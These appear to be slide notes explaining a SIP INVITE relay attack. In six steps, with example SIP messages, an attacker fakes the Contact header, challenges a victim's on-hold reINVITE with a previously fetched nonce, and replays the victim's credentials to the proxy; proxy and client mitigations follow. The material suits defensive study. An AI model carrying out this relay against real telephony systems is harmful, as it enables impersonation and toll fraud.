INVITE Relay Attack

- Goal: attacker wants to call +4312345@domain using victims' identity
- attacker calls the victim with manipulated contact header: +4312345@domain (either in INVITE or 200 OK)
- victim answers the call
- attacker calls the victim a second time from another phone
- victim answers the second call, puts the first call "on hold"
- "on hold" = sending a reINVITE
- the attacker challenges the reINVITE with a previously fetched nonce
- the victim sends credentials to attacker
- the attacker uses the nonce and the received credentials to authenticate against the proxy

Relay Attack 1

- attacker fetches nonce for victim
- INVITE: attacker → proxy:

```
INVITE sip:+4312345@domain
From: sip:victim@domain

407 Authentication Required
Proxy-Authenticate: nonce=asdf1234
```

Relay Attack 2

- attacker calls victim
- INVITE: attacker → proxy:

```
INVITE sip:victim@domain
From: sip:attacker@external
Contact: sip:+4312345@domain
Record-Route: sip:attacker@external;lr
```

faked contact

real contact

Relay Attack 3

- attacker calls victim again, victim puts 1st call “on hold”
- reINVITE: victim → attacker:

```
INVITE sip:+4312345@domain
From: sip:victim@domain
Contact: sip:victim@1.2.3.4
Route: sip:attacker@external;lr
```

Relay Attack 4

- attacker challenges the victim
- 407: attacker → victim:

```
407 Auth required
Proxy-Authenticate: nonce=asdf1234
```

Relay Attack 5

- victim sends credentials to attacker
- reINVITE: victim → attacker:

```
INVITE sip:+4312345@domain
From: sip:victim@domain
Contact: sip:victim@1.2.3.4
Route: sip:attacker@external;lr
Proxy-Authorization: nonce=asdf1234,
  response=qwert,
  uri= sip:+4312345@domain
```

Relay Attack 6

- attacker sends INVITE with valid credentials to proxy
- INVITE: attacker → victim:

```
INVITE sip:+4312345@domain
From: sip:victim@domain
Contact: sip:attacker@4.5.6.7
Proxy-Authorization: nonce=asdf1234,
  response=qwert,
  uri= sip:+4312345@domain
```

- proxy can not detect the replay!!!

Solution

- proxy should remove credentials
- proxy should check record-route headers in responses
- proxy should screen Contact header for illegal URIs (local domain) (not only REGISTER, but also INVITEs)
- client should send credentials only to proxy (better: client should send all messages to home-proxy first)